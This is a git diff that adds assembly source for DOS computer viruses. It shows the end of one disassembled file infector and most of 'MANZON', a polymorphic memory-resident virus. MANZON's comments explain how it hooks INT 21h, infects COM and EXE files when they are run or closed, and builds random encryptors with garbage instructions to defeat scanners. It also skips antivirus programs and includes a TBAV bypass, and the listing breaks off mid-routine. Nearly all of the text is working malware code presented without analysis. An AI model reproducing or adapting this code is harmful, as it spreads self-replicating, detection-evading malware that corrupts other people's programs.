ptr es:data_4e,70h ; (6B7E:00F1=0) + mov ax,3521h ;(??) + int 0ECh + mov cs:data_15,bx ; (6C11:0216=12E4h) + mov cs:data_16,es ; (6C11:0218=12Eh) + mov ah,25h ; '%' + mov dx,201h + push cs + pop ds + int 0ECh ; INT 21H + push cs + pop es + mov di,49Fh + mov cx,19h + mov al,0 ; 19h + rep stosb ; Rep when cx >0 Store al to es:[di] + jmp loc_4 ; +loc_7: + mov bp,ax ; ECH + iret ; Interrupt return + cmp ax,0EC59h ; INT 21H + je loc_7 ; Jump if equal + cmp ax,4B00h + je loc_9 ; Jump if equal + cmp ah,3Dh ; '=' + je loc_11 ; Jump if equal + cmp ah,3Eh ; '>' + je loc_13 ; Jump if equal +loc_8: + jmp far ptr loc_1 ;*(012E:12E4) +loc_9: + call sub_2 ; (028B) + jmp short loc_8 ; (0215) +loc_10: + pop cx + jmp short loc_8 ; (0215) +loc_11: + push cx + call sub_6 ; (040E) + jc loc_10 ; Jump if carry Set + cmp cx,20h + pop cx + jnz loc_8 ; Jump if not zero + mov al,2 + pushf ; Push flags + call dword ptr cs:[216h] ; (6C11:0216=12E4h) + jc loc_ret_12 ; Jump if carry Set + push ax + push bx + mov bx,ax + mov al,cs:data_21e ; (6C11:04B8=0) + mov cs:data_20e[bx],al ; (6C11:049F=0) + pop bx + pop ax + +loc_ret_12: + retf 2 ; Return far +loc_13: + cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0) + je loc_8 ; Jump if equal + push ax + mov al,cs:data_20e[bx] ; (6C11:049F=0) + mov cs:data_21e,al ; (6C11:04B8=0) + mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0) + mov ah,45h ; 'E' + int 0ECh + mov cs:data_19e,ax ; (6C11:049D=0) + pop ax + jc loc_8 ; Jump if carry Set + pushf ; Push flags + call dword ptr cs:[216h] ; (6C11:0216=12E4h) + jc loc_ret_12 ; Jump if carry Set + push bx + mov bx,cs:data_19e ; (6C11:049D=0) + push ds + call sub_3 ; (02BB) + call sub_4 ; (02DC) + call sub_5 ; (03FA) + pop ds + pop bx + clc ; Clear carry flag + retf 2 ; Return far + +; +; SUBROUTINE +; + +sub_2 proc near + push ax + push bx + push cx + call sub_6 ; (040E) + jc loc_16 ; + push cx + push ds + call sub_3 ; INT 24H + pop ds + mov ax,4301h + xor cx,cx ; Zero register + int 0ECh ; + jc loc_14 ; Jump if carry Set + mov ax,3D02h ; + int 0ECh + mov bx,ax +loc_14: + pop cx + jc loc_15 ; + call sub_4 ; (02DC) + mov ax,4301h + int 0ECh +loc_15: + call sub_5 ; (03FA) +loc_16: + pop cx + pop bx + pop ax + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near ; INT 24H + push ax + push dx + push bx + push es + mov ax,3524h + int 0ECh + mov cs:data_17e,bx ; (6C11:0499=0) + mov cs:data_18e,es ; (6C11:049B=0) + pop es + pop bx + push cs + pop ds + mov dx,469h + mov ah,25h + int 0ECh ; INT 24H + pop dx + pop ax + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push ax + push cx + push dx + push si + push di + push ds + mov di,102h + mov cx,0FFFFh + mov dx,0FFFAh + mov ax,4202h + int 0ECh ; + mov ah,3Fh ; '?' + mov cx,6 + push cs + pop ds + mov dx,di + int 0ECh ; 6 + jc loc_17 ; Jump if carry Set + cmp word ptr cs:[di],4E41h ; + je loc_17 ; Jump if equal + xor cx,cx + xor dx,dx + mov ax,4200h + int 0ECh ; FP + mov ah,3Fh ; 18h + mov cx,18h ; CS:100 + mov dx,di + int 0ECh ; 18h + jnc loc_18 ; Jump if carry=0 +loc_17: + jmp loc_27 ; (03E6) +loc_18: + xor cx,cx ; Zero register + xor dx,dx ; Zero register + cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0) + jne loc_19 ; Jump if not equal + cmp word ptr [di+1],4000h + ja loc_17 ; Jump if above + dec cx + mov dx,0C0h + sub dx,499h +loc_19: + mov ax,4202h ; FP +loc_20: + int 0ECh + test ax,0Fh + jz loc_21 ; Jump if zero + mov cx,dx ; 16 + mov dx,ax + add dx,10h + adc cx,0 + and dl,0F0h + mov ax,4200h ; + jmp short loc_20 ; (0339) +loc_21: + call sub_1 ; (0126) + jz loc_23 ; EXE + or dx,dx ; Zero ? + jnz loc_17 ; Jump if not zero + cmp ax,400h + jae loc_22 ; Jump if above or = + jmp loc_27 ; (03E6) +loc_22: + cmp ax,0FA00h + ja loc_27 ; Jump if above +loc_23: + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov si,ax + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + add si,dx ; + mov ah,40h ; 399h + mov dx,100h + mov cx,399h + nop + int 0ECh + jc loc_27 ; Jump if carry Set + call sub_1 + jnz loc_25 ; Jump if not zero + sub si,10h + sub si,cs:[di+8] ; + mov word ptr cs:[di+14h],100h + mov cs:[di+16h],si + mov word ptr cs:[di+10h],400h + add si,44h + nop + mov cs:[di+0Eh],si + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 0ECh ; + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + or dx,dx ; Zero ? + jz loc_24 ; Jump if zero + inc ax +loc_24: + mov cs:[di+2],dx ; + mov cs:[di+4],ax + jmp short loc_26 ; (03D4) +loc_25: + push si + push di + push es + push cs + pop es + mov si,46Ch + mov cx,0Bh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop es + pop di + pop word ptr [di+0Bh] +loc_26: + mov ax,4200h ; FP + xor cx,cx ; Zero register + xor dx,dx ; Zero register + int 0ECh + mov ah,40h ; 16h + mov cx,18h + mov dx,di + int 0ECh +loc_27: ; + mov ax,5700h + int 0ECh + mov al,1 + int 0ECh + mov ah,3Eh ; + int 0ECh + pop ds + pop di + pop si + pop dx + pop cx + pop ax + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near ; INT 24H + push ax + push dx + push ds + mov ax,2524h + mov dx,cs:data_17e ; (6C11:0499=0) + mov ds,cs:data_18e ; (6C11:049B=0) + pop ds + pop dx + pop ax + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near ; + push ax + push es + push di + push bx + mov di,dx + push ds + pop es + mov al,0 + mov cx,40h ; + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov ax,[di-3] + mov cx,[di-5] + and ax,5F5Fh + and ch,5Fh + cmp ax,4D4Fh ;(COM)? + jne loc_29 + cmp cx,432Eh + je $+10h ; Jump if equal +loc_28: + stc ; Set carry flag + jmp short $+2Fh +loc_29: + cmp ax,4558h + jne loc_28 ; Jump if not equal + cmp cx,452Eh +sub_6 endp + + +seg_b ends + + + +;--------------------------------------------------------- stack_seg_c --- + +stack_seg_c segment para stack + + db 75h, 0F2h, 0B9h, 7, 0, 0BBh + db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h + db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah + db 1, 0E1h, 0F3h, 0B0h, 1, 75h + db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h + db 4, 0B8h, 0, 43h, 0CDh, 0ECh + db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h + db 3, 0CFh, 50h, 8Ch, 0C8h, 1 + db 6, 0Bh, 1, 58h, 0EAh, 0 + db 1 + db ' Dark Lord, I summon thee!' + db 0 + db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h + db 52h + db 935 dup (0) + +stack_seg_c ends + + + + end start + \ No newline at end of file diff --git a/m/MANZON.ASM b/m/MANZON.ASM new file mode 100755 index 0000000..cc3f9ec --- /dev/null +++ b/m/MANZON.ASM @@ -0,0 +1,883 @@ + .model tiny + .code + .386 + +code_size equ code_end-code_start +filecodelength equ filecodeend-code_start + org 100h + +code_start: +start: + call StartDecryptSimple + +SimpleCryptStart: + + call InstallVirus ; Call Install routine + + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code randomly creates an encryptor and a matching :+ +;+ decryptor. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +WriteVirus: + push bx ; Save filehandle + in ax,40h ; Get random + +;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+: + + mov si,offset Rand1a ; First random in decryptor OP-codes + mov di,offset Rand1b ; First random in encryptor OP-codes + mov cx,5 ; 7*2 OP-codes to change +SetRandom: + mov [si],al + mov [di],al + add si,4 ; Next OP-code + add di,4 ; -----"----- + xor ax, 'P'-'O'-'O'-'R' ; Generate... + rol ax,5 ; ..new... + xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random + loop SetRandom + +;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+: + +CreateCode: + push cs + pop es + mov cx,13 ;Counter, max 13 sequences + mov di,offset CCode1 + mov si,offset DECode + mov word ptr ds:[CLength],0h ;Length of decryptor +CreateLoop: + mov si,offset DECode + in ax,40h ; Get random + ror ax,cl + xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L' + sub ax, 'R'-'I'-'O'-'T' + push ax ;Save for later use + mov bl,al + and bl,15 ;Mask only 0-15 + shl bl,2 ;mul 4 to get right offset + xor bh,bh + add si,bx ;Get right OP-code + movsd ;move one inst (4 bytes) + + std ;count backwards + push cx + push di ;Move code in CCode one inst + push si ;forward, so next inst could + mov si,offset CCode2+13*4 ;be first. + mov di,offset CCode2+14*4 + mov cx,14 + rep movsd + pop si + mov di,offset CCode2 + cld + + cmp bl,29 ;Should we use alt. encrypt? + jnb short Garbage ;No, just garbage-instructions + + add si,ENCode-DECode-4 ;Get right pos in ENCode + movsd ;move one inst (4 bytes) + sub si,ENCode-DECode ;Back to old pos in DECode + jmp short NoGarbage +Garbage: + sub si,4 ;Same instructions again + movsd +NoGarbage: + pop di + pop cx + add word ptr ds:[CLength],4 ;Add length of decryptor + pop ax ;Get random value again + and ax,128+64 ;Leave de/encryptor like this? + jz short QuitLoop + loop CreateLoop +QuitLoop: + +;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+: + + xor ax,ax + in al,40h ; Another random + xor al,'A' + and al,7 ;Random between 0 and 7 + mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,? + mov bx,filecodelength + add bx,ax + mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter) + +;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+: + + mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,? + mov ax,[entry_p] ;EntryPoint + add ax,word ptr ds:[CLength] ;Length of cryptlines + add ax,15 ;size of rest of loop + add ax,[IPOffs] ;Then add 100h +NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter) + +;+:+:+: Build the instruction that increase SI :+:+:+:+: + + and bl,2 ; Get random for inc si + shl bl,2 ; mul 4 + mov bh,0 + mov si,offset DEcSI + add si,bx ; Get pos in ADD-SI-alts. + movsd + +;+:+:+: Build the loop-instruction :+:+:+:+: + + mov ah,0ffh + sub ah,[CLength] ; Calculate loop operand + sub ah,5 + mov al,0e2h ; OP-code for loop + mov [di],ax ; Write loop command + +;+:+:+: Write RET at end of encryptionroutine :+:+:+:+: + + mov di,offset CCode2 ; Encryptionroutine + add di,word ptr ds:[Clength] ; Find end of ER + mov byte ptr ds:[di],0c3h ; Write a RET + +;+:+:+: Write created loader to file :+:+:+:+: + + pop bx ; Get filehandle + mov ah,40h ; Function WRITE + mov cx,word ptr ds:[CLength] + add cx,12 + mov dx,offset InitCX1 + int 21h ; Write decryptor to file + mov word ptr ds:[File_H],bx + +;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc) + + mov di,offset CCode1 ; Encryptionroutine + add di,word ptr ds:[Clength] ; Find end of ER + mov byte ptr ds:[di],0c3h ; Write a RET + +;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+: + + mov si,offset ED_start ; Start of ED-routine + mov di,offset ED_buf ; buffer beyond virus + mov cx,ED_End-ED_start ; Size of ED-routine + rep movsb + call filecodeend ; Call copy + + ret + +;------ Routine to Encrypt virus, write virus, and decrypt virus + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code will be copied to memory beyond the virus, :+ +;+ and then called. The routine then calls the created :+ +;+ encryptor, writing the encrypted virus the the file and :+ +;+ then uses the modified decrytor to decrypt the virus again. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +ED_start: + +;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+ + + in al,40h + mov byte ptr cs:[DSRan],al + +;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+ + + mov ax,offset EncryptDecryptSimple + call ax + +;+:+:+: Encrypt virus, using created encryptor :+:+:+:+ + + mov si,0100h ; Start of viruscode + mov cx,filecodelength +encloop: + mov ax,offset CCode2 ; offset to created enc-routine + call ax ; call it + inc si + loop encloop ; Encrypt whole virus + +;+:+:+: Write encrypted virus to file :+:+:+:+ + + mov bx,word ptr ds:[File_H] ; Get filehandle + mov ah,40h ; Function WRITE + mov cx,filecodelength + mov dx,0100h + pushf + push cs ; Fake interrupt call + call DoOldInt + +;+:+:+: Decrypt virus, using created encryptor :+:+:+:+ + + mov si,0100h ; Start of viruscode + mov cx,filecodelength +decloop: + mov ax,offset CCode1 + call ax ; Call builded encryptroutine + inc si + loop decloop + +;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+ + + mov ax,offset EncryptDecryptSimple + call ax + +;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+ + + mov bx,word ptr ds:[File_H] ; Get filehandle + in ax,40h ; Get random in al + mov ds,ax ; Read from random segment + and ax,0fh ; mask bit 0-3 + mov cx,ax ; No. bytes to write + mov ah,40h + add word ptr cs:[CLength],cx ; add length (must know this + xor dx,dx ; when creating EXE-header). + pushf + push cs ; Fake interrupt call + call DoOldInt + + push cs ; Push back codeseg in DS + pop ds + + ret + +DoOldInt: + sti + db 0eah +OldInt dd 0 + +ED_End: + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains 16 different 4-byte codesqeunces, :+ +;+ randomly used by the decryptionroutine. The first 8 affects :+ +;+ the decryption algoritm, and has a matching 4-byte inst- :+ +;+ ruction in the ENCode-table. The rest is just garbage- :+ +;+ instructions, used to make scanning harder. The morpher :+ +;+ will pick a random number (1-16) of these instructions, :+ +;+ and build the decryption routine. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +DECode db 02eh,080h,004h ; add byte ptr cs:[si],? +Rand1a db ? + db 02eh,080h,02ch ; sub byte ptr cs:[si],? +Rand2a db ? + db 02eh,080h,034h ; xor byte ptr cs:[si],? +Rand3a db ? + db 02eh,0C0h,004h ; rol byte ptr cs:[si],? +Rand4a db ? + db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],? +Rand5a db ? + db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop + db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop + db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop +;-------The rest is just bullshit, used to confuse scanners + db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx + db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx + db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax + db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di; + db 074h,000h,075h,000h ; je $+2; jne $+2; + db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx + db 003h,0feh,02ch,002h ; add di,si; sub al,2 + db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop) + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains the encryptionversions of the :+ +;+ first 8 instructions in the DECode-table. :+ +;+ SUB will be ADD, ROR will be ROL etc. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],? +Rand1b db ? + db 02eh,080h,004h ; add byte ptr cs:[si],? +Rand2b db ? + db 02eh,080h,034h ; xor byte ptr cs:[si],? +Rand3b db ? + db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],? +Rand4b db ? + db 02eh,0C0h,004h ; rol byte ptr cs:[si],? +Rand5b db ? + db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop + db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop + db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following table contains four different ways to increase :+ +;+ SI. Used only in the DECode-routine (CCode1). :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +DEcSI db 083h,0c6h,001h,090h ; add si,1; nop + db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc + db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc + db 083h,0c6h,002h,04eh ; add si,2; dec si + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Other data :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +CLength db ? ; Length of decryptor + db ? +ComExe db 0 ; 0=Com, 1=Exe +buffer db 0c3h ; Buffer contains original 3 bytes of +orgep dw 0 ; COM-file. 03ch (RET) will exit program + ; in normal DOS. Used only first time. +buffer2 db 0e9h ; JMP OP-code, used to build COM-jump +entry_p dw 0 ; Entrypoint, part of JMP-instruction + +Real_CS dw 0 +Real_IP dw 0 +Real_SS dw 0 +Real_SP dw 0 + +IPOffs dw 100h ; Start offset (100h for comfiles) + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ INT 21h Entrypoint. Check if virus is calling, and if file :+ +;+ should be infected. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +NewVect: + cmp ax,0DCBAh ; Is virus calling? + jne Notvirus + mov dx,ax + iret +Notvirus: + cli ; Clear Interrupts + cld ; Clear Direction + cmp ah,3eh ; Is file going to be closed? + je Short FileClose + + cmp ax,4b00h ; Is file going to be executed? + je Short FileExecute + jmp DoOldInt + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code is called when a file is going to be executed. :+ +;+ The file will be opened, and then closed. When the file is :+ +;+ closed, the virus will call itself by INT21/3Eh, and the file :+ +;+ will be infected. Pretty smart, eh? :) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +FileExecute: + pusha + + mov ax,3d00h ; Open file for ReadOnly + int 21h + mov bx,ax ; Filehandle in bx + mov ah,3eh + int 21h ; Close file (infect file :)) + + popa + jmp DoOldInt + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Following code is called when a file is going to be closed. :+ +;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+ +;+ and then INT2F/1216h to get adress of SFT. :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +FileClose: + cmp bx,5 ; Is it a standard device? + jb DoOldInt + + push ds + push es + pusha + + push bx + mov ax,1220h ; Table in es:di + int 2fh + mov ax,1216h + mov bl,byte ptr es:[di] + int 2fh + pop bx + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ This is a very poor way to check the 2 first characters in a :+ +;+ filename, but the asciicode will look nice =) :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + + mov ax,word ptr es:[di+20h] + xchg al,ah + add ax,0302h + + cmp ax,'F-' + 0302h ; Don't infect F-PROT + je short Skip_Infect + cmp ax,'SC' + 0302h ; Don't infect SCAN + je short Skip_Infect + cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV) + je short Skip_Infect + cmp ax,'TO' + 0302h ; Don't infect TOOLKIT + je short Skip_Infect + cmp ax,'FV' + 0302h ; Don't infect FV386 + je short Skip_Infect + cmp ax,'FI' + 0302h ; Don't infect FINDVIRU + je short Skip_Infect + cmp ax,'VI' + 0302h ; Don't infect VI*.* + je short Skip_Infect + cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :) + je short Skip_Infect + +Check_Com: + cmp word ptr es:[di+28h],'OC' + jne short Check_Exe + cmp byte ptr es:[di+2ah],'M' + jne short Check_Exe + or byte ptr es:[di+2],2 ; Set R&W Access + call Infect_Com + +Check_Exe: + cmp word ptr es:[di+28h],'XE' + jne short Skip_Infect + cmp byte ptr es:[di+2ah],'E' + jne short Skip_Infect + or byte ptr es:[di+2],2 ; Set R&W Access + call Infect_Exe + +Skip_Infect: + popa + pop es + pop ds + jmp DoOldInt + + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Infect COM-file :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +Infect_Com: + push cs + pop ds + + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h ; Get filelength in AX + push ax + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,3fh ; Read the 3 first bytes + mov cx,3 + mov dx,offset buffer + int 21h + + pop ax ; Get Filelength + sub ax,[orgep] ; Virus entrypoint, if file + cmp ax,filecodelength+100h ; is infected + jnb short LooksOk + cmp ax,filecodelength-10h + jb short LooksOk + jmp short DontInfect + +LooksOk: + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h + + cmp ax,62000 ; Is file small enough? + jnb short DontInfect + + sub ax,3 ; Make the first 3 bytes + mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode)) + + mov [IPOffs],100h ; Tell that offset is 100h + + push bx + call WriteVirus + pop bx + + mov ax,4200h ; Move to SOF + xor cx,cx + cwd + int 21h + + mov ah,40h ; Write first 3 bytes + mov cx,3 + mov dx,offset buffer2 + int 21h + +DontInfect: + ret + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ +;+ Infect EXE-file :+ +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+ + +Infect_Exe: + push cs + pop ds + + mov [File_H],bx + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,3fh + mov cx,19h ; Size of EXE-header + mov dx,offset EXE_Header + int 21h + + cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE. + je short ItIsAnExe + cmp word ptr ds:[EXE_Sig],'ZM' + je short ItIsAnExe + jmp short DontInfect +ItIsAnExe: + cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE? + je short DontInfect ; Don't infect. + + xor eax,eax + xor ebx,ebx + xor ecx,ecx + + les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX + mov ds:Real_CS,es + mov ds:Real_IP,ax + push ax ; Save IP + push es ; Save CS + + les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES + mov ds:Real_SS,ax + mov ds:Real_SP,es + push es + pop bx ; SP in BX + + shl eax,4 ; Build real SS:SP in EBX + add eax,ebx + + pop cx ; Get CS in CX + pop bx ; Get IP in BX + shl ecx,4 ; Build real CS:IP in ECX + add ecx,ebx + + sub eax,ecx ; EAX = SS:SP-CS:IP + + cmp eax,(filecodelength+400) + jnb short NotInfected + cmp eax,filecodelength + jb short NotInfected + jmp SkipInfect + +NotInfected: + xor eax,eax + mov bx,[File_H] + + mov ax,4202h ; Go to EOF + xor cx,cx + cwd + int 21h ; Get filelength in dx:ax + + xor ecx,ecx + xor ebx,ebx + mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header + mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header + shl ecx,9 ; Mul 512 + add ecx,ebx ; Build Real memsize + + mov bx,dx + shl ebx,16 + add ebx,eax ; Build filesize in EBX + + cmp ecx,ebx ; Is whole file loaded? + jb SkipInfect ; Nope, skip infect + + xor ecx,ecx + push ax + pop cx ; Low word in cx + + mov ax,dx + shl eax,16 + add eax,ecx ; Build filesize in eax + mov edx,eax ; Save filesize + + xor ebx,ebx + mov bx, word ptr ds:[EXE_SHe] + shl ebx,4 ; Build real Headersize + sub eax,ebx ; Filesize-Headersize=CS:IP!! + push eax ; Save new CS:IP for later use + + call FixSegOffs ; Fix CS:IP so IP<10h + + mov dword ptr ds:[EXE_IP],eax + + mov [entry_p],ax ; Set virus entrypoint + mov [IPOffs],-3 ; No offset in EXE-files + + mov bx,[File_H] + call WriteVirus ; Write virus to EOF + + xor eax,eax + xor ebx,ebx + mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page + mov bx,word ptr ds:[EXE_Siz] ; Size/512 + shl ebx,9 ; Mul 512 + add eax,ebx ; Make progsize + add eax,filecodelength ; Add code_size + xor ebx,ebx + mov bx,word ptr ds:[CLength] + add eax,ebx ; Add decryptsize + add eax,12 ; add InitCX,Loop etc + mov ebx,eax + shr ebx,9 ; Make new progsize/512 + and ax,01ffh ; Make modulo + + mov word ptr ds:[EXE_Siz],bx + mov word ptr ds:[EXE_Mod],ax + + add word ptr ds:[EXE_Min],(code_size+100)/16 + mov word ptr ds:[EXE_Max],-1 + + pop eax ; Get CS:IP + xor ebx,ebx + mov bx,word ptr ds:[CLength] ; Length of decryptor + add eax,ebx + add eax,12 ; Add INIT_CX, INIT_SI etc + add eax,VirStk-Code_Start ; Add pos of Stack + + inc eax ; Add one byte and... + and al,0feh ; ...make sure it's even + + call FixSegOffs ; Fix so SP<10h + + mov word ptr ds:[EXE_SP],ax ; Save new SS:SP + shr eax,16 + mov word ptr ds:[EXE_SS],ax ; Save new SS:SP + + mov bx,[File_H] + + mov ax,4200h ; Go to SOF + xor cx,cx + cwd + int 21h + + mov ah,40h + mov cx,18h ; Size of EXE-header + mov dx,offset EXE_Header + int 21h ; Write new header + +SkipInfect: + ret + +FixSegOffs: + mov ebx,eax + xor ax,ax + shl eax,12 + mov ax,bx +FixSegOffsLoop: + mov bx,ax + cmp bx,10h + jb short DoneFix + add eax,00010000h - 00000010h ; 1 para up.. + jmp short FixSegOffsLoop +DoneFix: + ret + +id db 'MANZON (c) ' + + db 'R' + 1 + db 'e' + 2 + db 'd' + 3 + db '-' + 4 + db 'A' + 5 + db '/' + 6 + db 'I' + 7 + db 'R' + 8 + +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: +;+ Following code will check if virus is resident, +: +;+ allocate memory, copy virus to memory, set the new +: +;+ interrupt vector and transfer control to the program +: +;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+: + +InstallVirus: + pop si ; Get Start of virus+3 + push si ; Save it again for later use. + push ds ; push PSP for later use + push cs + pop ds + +;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+: + + mov ax,0DCBAh + int 21h + cmp dx,ax + je short Installed ; Virus found in memory + +;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+: + + mov ah,4ah ; Get top of memory + push ax + mov bx,-1 + int 21h + + sub bx,(code_size)/16+2 ; Resize memory allocation + pop ax + int 21h + + mov ah,48h ; Allocate memory for Virus + mov bx,(code_size)/16+1 + int 21h + jc short Installed ; If error then exit + + dec ax ; dec AX to get pointer to MCB + mov es,ax + mov word ptr es:[1],8 ; Set DOS as owner of memory + sub ax,0fh ; 100 bytes from allocstart + mov es,ax ; to get same offset in TSR-code + +;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+: + + sub si,6 + mov di,0100h + mov cx,code_size + rep movsb ; move 'em up + +;****** Get adress of old INT21h and save it in the Do21-jump. + + push es + pop ds + mov ax,3521h + int 21h +tbavfuck: + cmp word ptr es:[bx],05ebh + jne notbav + cmp byte ptr es:[bx+2],0eah + jne notbav + les bx,es:[bx+3] + jmp 